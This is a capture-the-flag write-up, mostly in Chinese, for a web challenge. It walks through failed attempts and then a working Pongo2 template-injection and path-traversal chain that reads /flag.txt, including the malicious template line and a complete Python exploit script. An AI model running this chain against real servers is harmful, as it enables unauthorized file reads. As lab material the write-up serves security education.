Tags: web template-injection path-traversal 

Rating:

## 114 WordPress Static Site Generator

- Category: `web`
- Value: `215`
- Solves: `96`
- Solved by me: `True`
- Local directory: `web/WordPressStaticSiteGenerator`

### 题目描述
> I wanted to convert my WordPress page into a static website, so I implemented a suitable tool... but can it protect /flag.txt?
>
> Author: @gehaxelt

### 连接信息
- `52.59.124.14:5001`

### 附件下载地址
- 无

### 内存布局
- 暂无可解析二进制 或 本题主要是非二进制方向

### WP
# WordPressStaticSiteGenerator

---

## 题目信息

- 名称: WordPress Static Site Generator
- 类型: Web
- 目标: 获取服务器上的 `/flag.txt`
- 远程: `52.59.124.14:5001`

---

## 初步分析

首页功能很简单:

1. `POST /upload` 上传所谓的 WordPress XML
2. `POST /generate` 传入模板名并返回渲染后的 HTML

直接测试发现:

- `template` 参数会被拼接到 `templates/<template>.html`
- 输入 `../` 时会触发服务端报错,说明存在路径拼接行为
- 会话 cookie `wp-session` 中包含 `id` 和 `uploaded_file`(可 base64 解析出明文字段)

---

## 失败尝试记录

### 尝试 1: 直接模板穿越读取 `/flag.txt`

使用:

- `template=../../../../../flag.txt`
- `template=/flag.txt`

结果: 失败。因为服务端固定追加 `.html`,实际访问的是 `.../flag.txt.html`。

### 尝试 2: XXE 注入

上传带 ` ...>` 的 XML。

结果: 失败。生成页面没有回显实体内容。

### 尝试 3: 上传文件名目录穿越

尝试上传 `filename=../../templates/hax.xml`。

结果: 失败。文件名被规整为 basename,无法直接写入 `templates/`。

---

## 成功利用链

核心思路是两段式:

1. 上传一个恶意模板文件(文件名 `pwn.html`,内容是 Pongo2 指令)
2. 利用 `template` 路径穿越去加载该上传文件并执行

上传后的文件实际位于:

`uploads/<session_id>/pwn.html`

其中 `<session_id>` 可从 `wp-session` cookie 解码得到。

然后调用:

`template=../uploads/<session_id>/pwn`

服务端拼接后是:

`templates/../uploads/<session_id>/pwn.html`

该路径有效,Pongo2 会执行我们上传的模板代码。

恶意模板内容:

```django
{% include "/flag.txt" %}
```

`include` 会把目标文件内容直接作为模板包含,最终响应即为 flag。

---

## Flag

```text
ENO{PONGO2_T3MPl4T3_1NJ3cT1on_!s_Fun_To00!}
```

---

## 复现步骤

1. 运行:

```bash
python3 solution/solution.py
```

2. 预期输出:

```text
ENO{PONGO2_T3MPl4T3_1NJ3cT1on_!s_Fun_To00!}
```

---

## 关键风险总结

- 用户可控模板路径 + 目录穿越
- 上传目录可被模板加载器访问
- 模板引擎允许 `include` 任意文件路径

三者组合后形成稳定任意文件读取,直接泄露 `/flag.txt`。

### Exploit
#### web/WordPressStaticSiteGenerator/solution/solution.py

```python
#!/usr/bin/env python3
import argparse
import base64
import re
import sys
from typing import Optional

import requests

def extract_session_id_from_cookie(cookie_value: str) -> str:
raw = base64.urlsafe_b64decode(cookie_value + "=" * (-len(cookie_value) % 4))
parts = raw.split(b"|")
if len(parts) < 2:
raise ValueError("unexpected cookie format")
inner = base64.urlsafe_b64decode(parts[1] + b"=" * (-len(parts[1]) % 4))
m = re.search(rb"[0-9a-f]{32}", inner)
if not m:
raise ValueError("session id not found in cookie")
return m.group(0).decode()

def solve(base_url: str, timeout: float = 10.0) -> str:
s = requests.Session()

payload = '{% include "/flag.txt" %}\n'
files = {
"wordpress_xml": ("pwn.html", payload, "text/html"),
}
r = s.post(f"{base_url}/upload", files=files, timeout=timeout, allow_redirects=False)
if r.status_code not in (302, 303):
raise RuntimeError(f"upload failed: status={r.status_code}, body={r.text[:200]}")

cookie = s.cookies.get("wp-session")
if not cookie:
raise RuntimeError("missing wp-session cookie")
sid = extract_session_id_from_cookie(cookie)

template_name = f"../uploads/{sid}/pwn"
r = s.post(
f"{base_url}/generate",
data={"template": template_name},
timeout=timeout,
)
if r.status_code != 200:
raise RuntimeError(f"generate failed: status={r.status_code}, body={r.text[:200]}")

body = r.text.strip()
m = re.search(r"(?:flag|ENO)\{[^}\n]+\}", body)
if m:
return m.group(0)
return body

def main() -> int:
parser = argparse.ArgumentParser(description="Exploit WordPress Static Site Generator challenge")
parser.add_argument("--host", default="52.59.124.14", help="target host")
parser.add_argument("--port", default=5001, type=int, help="target port")
parser.add_argument("--timeout", default=10.0, type=float, help="request timeout")
args = parser.parse_args()

base_url = f"http://{args.host}:{args.port}"
try:
flag = solve(base_url, timeout=args.timeout)
except Exception as exc:
print(f"[!] exploit failed: {exc}", file=sys.stderr)
return 1

print(flag)
return 0

if __name__ == "__main__":
raise SystemExit(main())
```

---